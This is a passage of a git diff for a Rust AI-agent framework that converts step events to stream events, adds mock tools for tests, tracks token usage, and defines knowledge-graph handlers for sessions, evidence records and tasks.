iteration: usize, + }, + AnswerProduced { + iteration: usize, + answer: String, + }, + MaxIterationsReached { + iterations: usize, + }, +} + +impl StepEvent { + pub fn iteration(&self) -> Option { + match self { + StepEvent::IterationStarted { iteration, .. } + | StepEvent::LlmError { iteration, .. } + | StepEvent::LlmResponseReceived { iteration, .. } + | StepEvent::ToolCallStarted { iteration, .. } + | StepEvent::ToolCallCompleted { iteration, .. } + | StepEvent::VerificationFailed { iteration, .. } + | StepEvent::AnswerProduced { iteration, .. } => Some(*iteration), + _ => None, + } + } + + pub fn is_terminal(&self) -> bool { + matches!( + self, + StepEvent::AnswerProduced { .. } | StepEvent::MaxIterationsReached { .. } + ) + } + + pub fn to_agent_event(&self) -> Option { + use crate::chat::events::AgentEvent; + match self { + StepEvent::SessionStarted { session_id } => Some(AgentEvent::SessionStarted { + session_id: session_id.clone(), + }), + StepEvent::IterationStarted { + iteration, + max_iterations, + } => Some(AgentEvent::IterationStarted { + iteration: *iteration, + max_iterations: *max_iterations, + }), + StepEvent::RetrievalInjected { num_snippets } => Some(AgentEvent::RetrievalInjected { + num_snippets: *num_snippets, + }), + StepEvent::LlmError { + iteration, + consecutive_errors, + error, + } => Some(AgentEvent::LlmError { + iteration: *iteration, + consecutive_errors: *consecutive_errors, + error: error.clone(), + }), + StepEvent::LlmResponseReceived { + iteration, + usage, + has_tool_calls, + } => Some(AgentEvent::LlmResponseReceived { + iteration: *iteration, + usage: Some(usage.clone()), + has_tool_calls: *has_tool_calls, + }), + StepEvent::ToolCallStarted { + iteration, + tool_name, + tool_call_id, + } => Some(AgentEvent::ToolCallStarted { + iteration: *iteration, + tool_name: tool_name.clone(), + tool_call_id: tool_call_id.clone(), + }), + StepEvent::ToolCallCompleted { + iteration, + tool_name, + tool_call_id, + success, + output_bytes, + truncated, + output_preview: _, + } => Some(AgentEvent::ToolCallCompleted { + iteration: *iteration, + tool_name: tool_name.clone(), + tool_call_id: tool_call_id.clone(), + success: *success, + output_bytes: *output_bytes, + truncated: *truncated, + }), + StepEvent::VerificationFailed { iteration } => Some(AgentEvent::VerificationFailed { + iteration: *iteration, + }), + StepEvent::AnswerProduced { iteration, answer } => Some(AgentEvent::AnswerProduced { + iteration: *iteration, + answer_length: answer.len(), + }), + StepEvent::MaxIterationsReached { iterations } => { + Some(AgentEvent::MaxIterationsReached { + iterations: *iterations, + }) + } + StepEvent::LlmStreamEvent { .. } | StepEvent::PreToolHookBlocked { .. } => None, + } + } + + pub fn to_stream_event(&self) -> Option { + use crate::chat::stream::ReactStreamEvent; + match self { + StepEvent::IterationStarted { iteration, .. } => { + Some(ReactStreamEvent::IterationStart { + iteration: *iteration, + }) + } + StepEvent::LlmStreamEvent { event } => Some(ReactStreamEvent::LlmEvent(event.clone())), + StepEvent::ToolCallCompleted { + tool_name, + success, + output_preview, + .. + } => Some(ReactStreamEvent::ToolExecuted { + name: tool_name.clone(), + success: *success, + output_preview: output_preview.clone(), + }), + StepEvent::PreToolHookBlocked { tool_name, .. } => { + Some(ReactStreamEvent::ToolExecuted { + name: tool_name.clone(), + success: false, + output_preview: "Blocked by hook policy".to_string(), + }) + } + StepEvent::AnswerProduced { answer, .. } => { + Some(ReactStreamEvent::Answer(answer.clone())) + } + StepEvent::MaxIterationsReached { .. } => Some(ReactStreamEvent::MaxIterationsReached), + _ => None, + } + } +} diff --git a/forge_agent/src/chat/stream.rs b/forgekit_agent/src/chat/stream.rs similarity index 55% rename from forge_agent/src/chat/stream.rs rename to forgekit_agent/src/chat/stream.rs index 64e1475..2b3a4df 100644 --- a/forge_agent/src/chat/stream.rs +++ b/forgekit_agent/src/chat/stream.rs @@ -19,3 +19,18 @@ pub enum StreamEvent { Done, Error(String), } + +#[derive(Clone, Debug, PartialEq)] +pub enum ReactStreamEvent { + LlmEvent(StreamEvent), + IterationStart { + iteration: usize, + }, + ToolExecuted { + name: String, + success: bool, + output_preview: String, + }, + Answer(String), + MaxIterationsReached, +} diff --git a/forge_agent/src/chat/stream_tests.rs b/forgekit_agent/src/chat/stream_tests.rs similarity index 100% rename from forge_agent/src/chat/stream_tests.rs rename to forgekit_agent/src/chat/stream_tests.rs diff --git a/forgekit_agent/src/chat/testing.rs b/forgekit_agent/src/chat/testing.rs new file mode 100644 index 0000000..7a3e419 --- /dev/null +++ b/forgekit_agent/src/chat/testing.rs @@ -0,0 +1,171 @@ +//! Testing utilities for agent unit tests. +//! +//! Provides reusable mock tools and assertion helpers for testing +//! agent behavior without external dependencies. + +use std::sync::Arc; + +use async_trait::async_trait; +use parking_lot::Mutex; +use serde_json::Value; + +use crate::chat::tools::registry::AsyncTool; +use crate::chat::tools::types::ToolDef; + +#[derive(Debug, Clone)] +pub struct RecordedCall { + pub arguments: Value, + pub output: String, + pub was_error: bool, +} + +pub struct RecordingTool { + name: String, + response: String, + calls: Arc>>, +} + +impl RecordingTool { + pub fn new(name: impl Into, response: impl Into) -> Self { + RecordingTool { + name: name.into(), + response: response.into(), + calls: Arc::new(Mutex::new(Vec::new())), + } + } + + pub fn call_count(&self) -> usize { + self.calls.lock().len() + } + + pub fn calls(&self) -> Vec { + self.calls.lock().clone() + } + + pub fn last_call(&self) -> Option { + let calls = self.calls.lock(); + calls.last().cloned() + } + + pub fn arguments_at(&self, index: usize) -> Option { + let calls = self.calls.lock(); + calls.get(index).map(|c| c.arguments.clone()) + } +} + +#[async_trait] +impl AsyncTool for RecordingTool { + async fn call(&self, arguments: Value) -> Result { + let output = self.response.clone(); + self.calls.lock().push(RecordedCall { + arguments, + output: output.clone(), + was_error: false, + }); + Ok(output) + } + + fn definition(&self) -> ToolDef { + ToolDef { + name: self.name.clone(), + description: format!("Recording test tool: {}", self.name), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "input": {"type": "string"} + } + }), + } + } +} + +pub struct FailingTool { + name: String, + error_message: String, +} + +impl FailingTool { + pub fn new(name: impl Into, error_message: impl Into) -> Self { + FailingTool { + name: name.into(), + error_message: error_message.into(), + } + } +} + +#[async_trait] +impl AsyncTool for FailingTool { + async fn call(&self, _arguments: Value) -> Result { + Err(self.error_message.clone()) + } + + fn definition(&self) -> ToolDef { + ToolDef { + name: self.name.clone(), + description: format!("Failing test tool: {}", self.name), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "input": {"type": "string"} + } + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn recording_tool_captures_calls() { + let tool = RecordingTool::new("test_tool", "ok"); + let result = tool + .call(serde_json::json!({"input": "hello"})) + .await + .unwrap(); + assert_eq!(result, "ok"); + assert_eq!(tool.call_count(), 1); + + let call = tool.last_call().unwrap(); + assert_eq!(call.arguments["input"], "hello"); + assert_eq!(call.output, "ok"); + assert!(!call.was_error); + } + + #[tokio::test] + async fn recording_tool_multiple_calls() { + let tool = RecordingTool::new("multi", "response"); + tool.call(serde_json::json!({"n": 1})).await.unwrap(); + tool.call(serde_json::json!({"n": 2})).await.unwrap(); + tool.call(serde_json::json!({"n": 3})).await.unwrap(); + + assert_eq!(tool.call_count(), 3); + assert_eq!(tool.arguments_at(0).unwrap()["n"], 1); + assert_eq!(tool.arguments_at(1).unwrap()["n"], 2); + assert_eq!(tool.arguments_at(2).unwrap()["n"], 3); + } + + #[tokio::test] + async fn failing_tool_returns_error() { + let tool = FailingTool::new("fail_tool", "something went wrong"); + let result = tool.call(serde_json::json!({})).await; + assert_eq!(result, Err("something went wrong".to_string())); + } + + #[tokio::test] + async fn recording_tool_definition() { + let tool = RecordingTool::new("my_tool", "ok"); + let def = tool.definition(); + assert_eq!(def.name, "my_tool"); + assert!(def.description.contains("my_tool")); + } + + #[tokio::test] + async fn recording_tool_no_calls_initially() { + let tool = RecordingTool::new("empty", "ok"); + assert_eq!(tool.call_count(), 0); + assert!(tool.last_call().is_none()); + assert!(tool.arguments_at(0).is_none()); + } +} diff --git a/forgekit_agent/src/chat/token_tracker.rs b/forgekit_agent/src/chat/token_tracker.rs new file mode 100644 index 0000000..335a0ba --- /dev/null +++ b/forgekit_agent/src/chat/token_tracker.rs @@ -0,0 +1,180 @@ +//! Token usage tracker for cumulative token accounting. +//! +//! Subscribes to `AgentEvent::LlmResponseReceived` events on the `EventBus` +//! and maintains a running total of prompt, completion, and total tokens. + +use parking_lot::Mutex; +use std::sync::Arc; + +use crate::chat::events::{AgentEvent, EventBus}; + +#[derive(Clone, Debug, Default)] +pub struct TokenUsage { + pub prompt_tokens: u64, + pub completion_tokens: u64, + pub total_tokens: u64, + pub llm_calls: u64, +} + +pub struct TokenTracker { + usage: Arc>, +} + +impl std::fmt::Debug for TokenTracker { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("TokenTracker").finish_non_exhaustive() + } +} + +impl Clone for TokenTracker { + fn clone(&self) -> Self { + TokenTracker { + usage: Arc::clone(&self.usage), + } + } +} + +impl TokenTracker { + pub fn new() -> Self { + TokenTracker { + usage: Arc::new(Mutex::new(TokenUsage::default())), + } + } + + pub async fn attach(&self, bus: &EventBus) { + let usage = Arc::clone(&self.usage); + bus.subscribe(move |event| { + if let AgentEvent::LlmResponseReceived { usage: Some(u), .. } = event { + let mut guard = usage.lock(); + guard.prompt_tokens += u.prompt_tokens.unwrap_or(0); + guard.completion_tokens += u.completion_tokens.unwrap_or(0); + guard.total_tokens += u.total_tokens.unwrap_or(0); + guard.llm_calls += 1; + } + }) + .await; + } + + pub async fn usage(&self) -> TokenUsage { + self.usage.lock().clone() + } + + pub async fn total_tokens(&self) -> u64 { + self.usage.lock().total_tokens + } + + pub async fn llm_calls(&self) -> u64 { + self.usage.lock().llm_calls + } +} + +impl Default for TokenTracker { + fn default() -> Self { + Self::new() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::chat::types::Usage; + + #[tokio::test] + async fn tracker_starts_zero() { + let tracker = TokenTracker::new(); + let usage = tracker.usage().await; + assert_eq!(usage.prompt_tokens, 0); + assert_eq!(usage.completion_tokens, 0); + assert_eq!(usage.total_tokens, 0); + assert_eq!(usage.llm_calls, 0); + } + + #[tokio::test] + async fn attach_and_accumulate() { + let bus = EventBus::new(); + let tracker = TokenTracker::new(); + tracker.attach(&bus).await; + + bus.emit(&AgentEvent::LlmResponseReceived { + iteration: 0, + usage: Some(Usage { + prompt_tokens: Some(100), + completion_tokens: Some(50), + total_tokens: Some(150), + }), + has_tool_calls: false, + }) + .await; + + bus.emit(&AgentEvent::LlmResponseReceived { + iteration: 1, + usage: Some(Usage { + prompt_tokens: Some(200), + completion_tokens: Some(75), + total_tokens: Some(275), + }), + has_tool_calls: true, + }) + .await; + + let usage = tracker.usage().await; + assert_eq!(usage.prompt_tokens, 300); + assert_eq!(usage.completion_tokens, 125); + assert_eq!(usage.total_tokens, 425); + assert_eq!(usage.llm_calls, 2); + } + + #[tokio::test] + async fn ignores_none_usage() { + let bus = EventBus::new(); + let tracker = TokenTracker::new(); + tracker.attach(&bus).await; + + bus.emit(&AgentEvent::LlmResponseReceived { + iteration: 0, + usage: None, + has_tool_calls: false, + }) + .await; + + assert_eq!(tracker.total_tokens().await, 0); + assert_eq!(tracker.llm_calls().await, 0); + } + + #[tokio::test] + async fn ignores_non_llm_events() { + let bus = EventBus::new(); + let tracker = TokenTracker::new(); + tracker.attach(&bus).await; + + bus.emit(&AgentEvent::ToolCallStarted { + iteration: 0, + tool_name: "file_read".to_string(), + tool_call_id: "tc_1".to_string(), + }) + .await; + + assert_eq!(tracker.total_tokens().await, 0); + } + + #[tokio::test] + async fn clone_shares_state() { + let bus = EventBus::new(); + let tracker = TokenTracker::new(); + tracker.attach(&bus).await; + + let tracker2 = tracker.clone(); + bus.emit(&AgentEvent::LlmResponseReceived { + iteration: 0, + usage: Some(Usage { + prompt_tokens: Some(50), + completion_tokens: Some(25), + total_tokens: Some(75), + }), + has_tool_calls: false, + }) + .await; + + assert_eq!(tracker2.total_tokens().await, 75); + } +} diff --git a/forgekit_agent/src/chat/tools/atheneum_tool/handlers.rs b/forgekit_agent/src/chat/tools/atheneum_tool/handlers.rs new file mode 100644 index 0000000..1a454d4 --- /dev/null +++ b/forgekit_agent/src/chat/tools/atheneum_tool/handlers.rs @@ -0,0 +1,711 @@ +use atheneum::AtheneumGraph; + +pub(super) fn handle_store_discovery( + graph: &AtheneumGraph, + agent_name: &str, + arguments: &serde_json::Value, +) -> Result { + let target = require_str(arguments, "target")?; + let discovery_type = require_str(arguments, "discovery_type")?; + let metadata = arguments + .get("metadata") + .cloned() + .unwrap_or(serde_json::Value::Object(serde_json::Map::new())); + + let id = graph + .store_discovery(agent_name, &discovery_type, &target, metadata) + .map_err(|e| format!("store_discovery failed: {e}"))?; + + Ok(format!( + "Stored discovery {} (type={}, target={})", + id, discovery_type, target + )) +} + +pub(super) fn handle_query_knowledge( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let target = require_str(arguments, "target")?; + let result = graph + .query_knowledge(&target, None) + .map_err(|e| format!("query_knowledge failed: {e}"))?; + + format_knowledge_response(&target, &result) +} + +pub(super) fn handle_query_knowledge_in_project( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let target = require_str(arguments, "target")?; + let project_id = optional_str(arguments, "project_id"); + let result = graph + .query_knowledge_in_project(&target, project_id, None) + .map_err(|e| format!("query_knowledge_in_project failed: {e}"))?; + + format_knowledge_response(&target, &result) +} + +pub(super) fn handle_store_handoff( + graph: &AtheneumGraph, + agent_name: &str, + arguments: &serde_json::Value, +) -> Result { + let to_agent = require_str(arguments, "to_agent")?; + let manifest = arguments + .get("manifest") + .cloned() + .unwrap_or(serde_json::json!({"body": "no details"})); + + let id = graph + .store_handoff(agent_name, &to_agent, manifest) + .map_err(|e| format!("store_handoff failed: {e}"))?; + + Ok(format!( + "Stored handoff {} (from={} to={})", + id, agent_name, to_agent + )) +} + +pub(super) fn handle_get_pending_handoff( + graph: &AtheneumGraph, + agent_name: &str, +) -> Result { + let handoff = graph + .get_pending_handoff(agent_name) + .map_err(|e| format!("get_pending_handoff failed: {e}"))?; + + match handoff { + Some(h) => { + let from = h + .data + .get("from_agent") + .and_then(|v| v.as_str()) + .unwrap_or("unknown"); + let manifest = h + .data + .get("manifest") + .cloned() + .unwrap_or(serde_json::Value::Object(serde_json::Map::new())); + Ok(format!( + "Pending handoff {} from {}: {:?}", + h.id, from, manifest + )) + } + None => Ok("No pending handoffs.".to_string()), + } +} + +pub(super) fn handle_claim_handoff( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let handoff_id = optional_i64(arguments, "handoff_id") + .ok_or_else(|| "Missing 'handoff_id' parameter".to_string())?; + + graph + .mark_handoff_claimed(handoff_id) + .map_err(|e| format!("claim_handoff failed: {e}"))?; + + Ok(format!("Claimed handoff {}", handoff_id)) +} + +pub(super) fn handle_record_session( + graph: &AtheneumGraph, + agent_name: &str, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let project = require_str(arguments, "project")?; + let tool = arguments + .get("tool") + .and_then(|v| v.as_str()) + .unwrap_or("forge"); + let trigger = arguments + .get("trigger") + .and_then(|v| v.as_str()) + .unwrap_or("manual"); + + let params = atheneum::graph::SessionParams { + session_id, + agent_name: agent_name.to_string(), + project, + tool: tool.to_string(), + trigger: trigger.to_string(), + model: optional_str(arguments, "model").map(|s| s.to_string()), + git_branch: optional_str(arguments, "git_branch").map(|s| s.to_string()), + git_head: optional_str(arguments, "git_head").map(|s| s.to_string()), + parent_session_id: optional_str(arguments, "parent_session_id").map(|s| s.to_string()), + relations: Vec::new(), + }; + + graph + .record_session(params) + .map_err(|e| format!("record_session failed: {e}"))?; + + Ok(format!("Recorded session for {}", agent_name)) +} + +pub(super) fn handle_end_session( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let exit_status = require_str(arguments, "exit_status")?; + + let params = atheneum::graph::EndSessionParams { + session_id, + exit_status, + prompt_count: optional_i64(arguments, "prompt_count").unwrap_or(0), + tool_call_count: optional_i64(arguments, "tool_call_count").unwrap_or(0), + file_write_count: optional_i64(arguments, "file_write_count").unwrap_or(0), + commit_count: optional_i64(arguments, "commit_count").unwrap_or(0), + test_run_count: optional_i64(arguments, "test_run_count").unwrap_or(0), + total_input_tokens: optional_i64(arguments, "total_input_tokens").unwrap_or(0), + total_output_tokens: optional_i64(arguments, "total_output_tokens").unwrap_or(0), + total_cost_usd: optional_f64(arguments, "total_cost_usd").unwrap_or(0.0), + }; + + graph + .end_session(params) + .map_err(|e| format!("end_session failed: {e}"))?; + + Ok("Session ended.".to_string()) +} + +pub(super) fn handle_record_evidence_prompt( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let role = require_str(arguments, "role")?; + let sequence = optional_i64(arguments, "sequence").unwrap_or(0); + let input_hash = require_str(arguments, "input_hash")?; + + let params = atheneum::graph::PromptParams { + session_id, + role, + sequence, + content_summary: None, + source: None, + input_hash, + input_tokens: optional_i64(arguments, "input_tokens"), + output_hash: optional_str(arguments, "output_hash").map(|s| s.to_string()), + output_tokens: optional_i64(arguments, "output_tokens"), + latency_ms: optional_i64(arguments, "latency_ms"), + model: optional_str(arguments, "model").map(|s| s.to_string()), + cost_usd: optional_f64(arguments, "cost_usd"), + relations: Vec::new(), + }; + + graph + .record_evidence_prompt(params) + .map_err(|e| format!("record_evidence_prompt failed: {e}"))?; + + Ok("Recorded prompt evidence.".to_string()) +} + +pub(super) fn handle_record_evidence_tool_call( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let tool_name = require_str(arguments, "tool_name")?; + let exit_status = arguments + .get("exit_status") + .and_then(|v| v.as_str()) + .unwrap_or("ok"); + let tool_category = arguments + .get("tool_category") + .and_then(|v| v.as_str()) + .unwrap_or("other"); + + let params = atheneum::graph::ToolCallParams { + session_id, + tool_name: tool_name.to_string(), + sequence: None, + source: None, + tool_version: optional_str(arguments, "tool_version").map(|s| s.to_string()), + input_hash: optional_str(arguments, "input_hash").map(|s| s.to_string()), + input_summary: optional_str(arguments, "input_summary").map(|s| s.to_string()), + output_hash: optional_str(arguments, "output_hash").map(|s| s.to_string()), + output_summary: optional_str(arguments, "output_summary").map(|s| s.to_string()), + exit_status: exit_status.to_string(), + latency_ms: optional_i64(arguments, "latency_ms").unwrap_or(0), + input_tokens_est: optional_i64(arguments, "input_tokens_est"), + tool_category: tool_category.to_string(), + relations: Vec::new(), + }; + + let tool_name_out = params.tool_name.clone(); + graph + .record_evidence_tool_call(params) + .map_err(|e| format!("record_evidence_tool_call failed: {e}"))?; + + Ok(format!("Recorded tool call evidence for {}", tool_name_out)) +} + +pub(super) fn handle_record_evidence_file_write( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let file_path = require_str(arguments, "file_path")?; + + let params = atheneum::graph::FileWriteParams { + session_id, + file_path: file_path.to_string(), + sequence: None, + file_id: optional_str(arguments, "file_id").map(|s| s.to_string()), + before_hash: optional_str(arguments, "before_hash").map(|s| s.to_string()), + after_hash: optional_str(arguments, "after_hash").map(|s| s.to_string()), + lines_added: optional_i64(arguments, "lines_added").unwrap_or(0), + lines_deleted: optional_i64(arguments, "lines_deleted").unwrap_or(0), + lines_changed: optional_i64(arguments, "lines_changed").unwrap_or(0), + write_type: arguments + .get("write_type") + .and_then(|v| v.as_str()) + .unwrap_or("edit") + .to_string(), + relations: Vec::new(), + }; + + let file_path_out = params.file_path.clone(); + graph + .record_evidence_file_write(params) + .map_err(|e| format!("record_evidence_file_write failed: {e}"))?; + + Ok(format!( + "Recorded file write evidence for {}", + file_path_out + )) +} + +pub(super) fn handle_record_evidence_commit( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let commit_sha = require_str(arguments, "commit_sha")?; + let message = require_str(arguments, "message")?; + let author = require_str(arguments, "author")?; + + let params = atheneum::graph::CommitParams { + session_id, + commit_sha, + parent_sha: optional_str(arguments, "parent_sha").map(|s| s.to_string()), + message, + author, + files_changed: optional_i64(arguments, "files_changed").unwrap_or(0), + lines_inserted: optional_i64(arguments, "lines_inserted").unwrap_or(0), + lines_deleted: optional_i64(arguments, "lines_deleted").unwrap_or(0), + commit_type: arguments + .get("commit_type") + .and_then(|v| v.as_str()) + .unwrap_or("feature") + .to_string(), + feature_tag: optional_str(arguments, "feature_tag").map(|s| s.to_string()), + relations: Vec::new(), + }; + + graph + .record_evidence_commit(params) + .map_err(|e| format!("record_evidence_commit failed: {e}"))?; + + Ok("Recorded commit evidence.".to_string()) +} + +pub(super) fn handle_record_evidence_test_run( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let test_name = require_str(arguments, "test_name")?; + let result_str = require_str(arguments, "result")?; + + let params = atheneum::graph::TestRunParams { + session_id, + test_name: test_name.to_string(), + test_suite: optional_str(arguments, "test_suite").map(|s| s.to_string()), + test_command: optional_str(arguments, "test_command").map(|s| s.to_string()), + result: result_str, + duration_ms: optional_i64(arguments, "duration_ms").unwrap_or(0), + logs_summary: optional_str(arguments, "logs_summary").map(|s| s.to_string()), + commit_sha: optional_str(arguments, "commit_sha").map(|s| s.to_string()), + relations: Vec::new(), + }; + + let test_name_out = params.test_name.clone(); + let test_result_out = params.result.clone(); + graph + .record_evidence_test_run(params) + .map_err(|e| format!("record_evidence_test_run failed: {e}"))?; + + Ok(format!( + "Recorded test run evidence: {} ({})", + test_name_out, test_result_out + )) +} + +pub(super) fn handle_record_evidence_fix_chain( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let bug_commit_sha = require_str(arguments, "bug_commit_sha")?; + let fix_commit_sha = require_str(arguments, "fix_commit_sha")?; + + let params = atheneum::graph::FixChainParams { + session_id, + bug_commit_sha, + fix_commit_sha, + fix_type: arguments + .get("fix_type") + .and_then(|v| v.as_str()) + .unwrap_or("compile_error") + .to_string(), + severity: arguments + .get("severity") + .and_then(|v| v.as_str()) + .unwrap_or("medium") + .to_string(), + cycles_to_fix: optional_i64(arguments, "cycles_to_fix").unwrap_or(1), + time_to_fix_ms: optional_i64(arguments, "time_to_fix_ms").unwrap_or(0), + relations: Vec::new(), + }; + + graph + .record_evidence_fix_chain(params) + .map_err(|e| format!("record_evidence_fix_chain failed: {e}"))?; + + Ok("Recorded fix chain evidence.".to_string()) +} + +pub(super) fn handle_record_evidence_bench_run( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = require_str(arguments, "session_id")?; + let bench_name = require_str(arguments, "bench_name")?; + let is_regression = arguments + .get("is_regression") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + graph + .record_evidence_bench_run( + session_id, + bench_name, + optional_i64(arguments, "mean_ns"), + optional_i64(arguments, "median_ns"), + optional_i64(arguments, "p95_ns"), + is_regression, + ) + .map_err(|e| format!("record_evidence_bench_run failed: {e}"))?; + + Ok("Recorded bench run evidence.".to_string()) +} + +pub(super) fn handle_query_events( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let session_id = optional_str(arguments, "session_id"); + let event_type = optional_str(arguments, "event_type"); + let limit = optional_i64(arguments, "limit").unwrap_or(50) as usize; + + let events = graph + .query_events(session_id, event_type, limit) + .map_err(|e| format!("query_events failed: {e}"))?; + + if events.is_empty() { + return Ok("No events found.".to_string()); + } + + let lines: Vec = events + .iter() + .map(|e| { + let et = e.get("event_type").and_then(|v| v.as_str()).unwrap_or("?"); + let ts = e.get("timestamp").and_then(|v| v.as_str()).unwrap_or("?"); + format!("- {} @ {}", et, ts) + }) + .collect(); + Ok(format!("Events ({}):\n{}", events.len(), lines.join("\n"))) +} + +pub(super) fn handle_create_task( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let title = require_str(arguments, "title")?; + let description = optional_str(arguments, "description"); + let project_id = optional_str(arguments, "project_id"); + + let id = graph + .create_task(&title, description, project_id) + .map_err(|e| format!("create_task failed: {e}"))?; + + Ok(format!("Created task {} ({})", id, title)) +} + +pub(super) fn handle_update_task_status( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let task_id = optional_i64(arguments, "task_id") + .ok_or_else(|| "Missing 'task_id' parameter".to_string())?; + let status_str = require_str(arguments, "status")?; + let status = parse_kanban_status(&status_str)?; + + graph + .update_task_status(task_id, status) + .map_err(|e| format!("update_task_status failed: {e}"))?; + + Ok(format!("Task {} updated to {}", task_id, status_str)) +} + +pub(super) fn handle_find_task( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let title = require_str(arguments, "title")?; + let project_id = optional_str(arguments, "project_id"); + + let result = graph + .find_task_by_title(&title, project_id) + .map_err(|e| format!("find_task failed: {e}"))?; + + match result { + Some(id) => Ok(format!("Found task {} ({})", id, title)), + None => Ok(format!("No task found with title '{}'", title)), + } +} + +pub(super) fn handle_list_tasks( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let status_str = require_str(arguments, "status")?; + let status = parse_kanban_status(&status_str)?; + let project_id = optional_str(arguments, "project_id"); + + let tasks = graph + .list_tasks_by_status(status, project_id) + .map_err(|e| format!("list_tasks failed: {e}"))?; + + if tasks.is_empty() { + return Ok(format!("No {} tasks.", status_str)); + } + + let lines: Vec = tasks + .iter() + .map(|t| { + let title = t.data.get("title").and_then(|v| v.as_str()).unwrap_or("?"); + format!("- [{}] {}", t.id, title) + }) + .collect(); + Ok(format!( + "{} tasks ({}):\n{}", + status_str, + tasks.len(), + lines.join("\n") + )) +} + +pub(super) fn handle_add_requirement( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let task_id = optional_i64(arguments, "task_id") + .ok_or_else(|| "Missing 'task_id' parameter".to_string())?; + let statement = require_str(arguments, "statement")?; + let verification_method = optional_str(arguments, "verification_method"); + + let id = graph + .add_requirement(task_id, &statement, verification_method) + .map_err(|e| format!("add_requirement failed: {e}"))?; + + Ok(format!("Added requirement {} to task {}", id, task_id)) +} + +pub(super) fn handle_mark_requirement_met( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let req_id = optional_i64(arguments, "req_id") + .ok_or_else(|| "Missing 'req_id' parameter".to_string())?; + + graph + .mark_requirement_met(req_id) + .map_err(|e| format!("mark_requirement_met failed: {e}"))?; + + Ok(format!("Marked requirement {} as met", req_id)) +} + +pub(super) fn handle_add_blocker( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let task_id = optional_i64(arguments, "task_id") + .ok_or_else(|| "Missing 'task_id' parameter".to_string())?; + let description = require_str(arguments, "description")?; + let blocker_type_str = arguments + .get("blocker_type") + .and_then(|v| v.as_str()) + .unwrap_or("dependency"); + let blocker_type = parse_blocker_type(blocker_type_str)?; + + let id = graph + .add_blocker(task_id, &description, blocker_type) + .map_err(|e| format!("add_blocker failed: {e}"))?; + + Ok(format!("Added blocker {} to task {}", id, task_id)) +} + +pub(super) fn handle_resolve_blocker( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let blocker_id = optional_i64(arguments, "blocker_id") + .ok_or_else(|| "Missing 'blocker_id' parameter".to_string())?; + + graph + .resolve_blocker(blocker_id) + .map_err(|e| format!("resolve_blocker failed: {e}"))?; + + Ok(format!("Resolved blocker {}", blocker_id)) +} + +pub(super) fn handle_get_task_details( + graph: &AtheneumGraph, + arguments: &serde_json::Value, +) -> Result { + let task_id = optional_i64(arguments, "task_id") + .ok_or_else(|| "Missing 'task_id' parameter".to_string())?; + + let detail = graph + .get_task_with_details(task_id) + .map_err(|e| format!("get_task_details failed: {e}"))?; + + let title = detail + .task + .data + .get("title") + .and_then(|v| v.as_str()) + .unwrap_or("?"); + let status = detail + .task + .data + .get("status") + .and_then(|v| v.as_str()) + .unwrap_or("?"); + + let mut lines = vec![format!("Task {} [{}]: {}", detail.task.id, status, title)]; + + if !detail.requirements.is_empty() { + lines.push(format!(" Requirements ({}):", detail.requirements.len())); + for r in &detail.requirements { + let stmt = r + .data + .get("statement") + .and_then(|v| v.as_str()) + .unwrap_or("?"); + let st = r.data.get("status").and_then(|v| v.as_str()).unwrap_or("?"); + lines.push(format!(" - [{}] {} ({})", r.id, stmt, st)); + } + } + + if !detail.blockers.is_empty() { + lines.push(format!(" Blockers ({}):", detail.blockers.len())); + for b in &detail.blockers { + let desc = b + .data + .get("description") + .and_then(|v| v.as_str()) + .unwrap_or("?"); + let resolved = if b.data.get("resolved_at").is_some() { + "resolved" + } else { + "active" + }; + lines.push(format!(" - [{}] {} ({})", b.id, desc, resolved)); + } + } + + Ok(lines.join("\n")) +} + +fn require_str(args: &serde_json::Value, key: &str) -> Result { + args[key] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| format!("Missing '{}' parameter", key)) +} + +fn optional_str<'a>(args: &'a serde_json::Value, key: &str) -> Option<&'a str> { + args[key].as_str() +} + +fn optional_i64(args: &serde_json::Value, key: &str) -> Option { + args[key].as_i64() +} + +fn optional_f64(args: &serde_json::Value, key: &str) -> Option { + args[key].as_f64() +} + +fn format_knowledge_response(target: &str, result: &serde_json::Value) -> Result { + let discoveries = result + .get("discoveries") + .and_then(|v| v.as_array()) + .cloned() + .unwrap_or_default(); + + if discoveries.is_empty() { + return Ok(format!("No knowledge found for '{}'.", target)); + } + + let lines: Vec = discoveries + .iter() + .map(|d| { + let dtype = d + .get("discovery_type") + .and_then(|v| v.as_str()) + .unwrap_or("unknown"); + let agent = d.get("agent").and_then(|v| 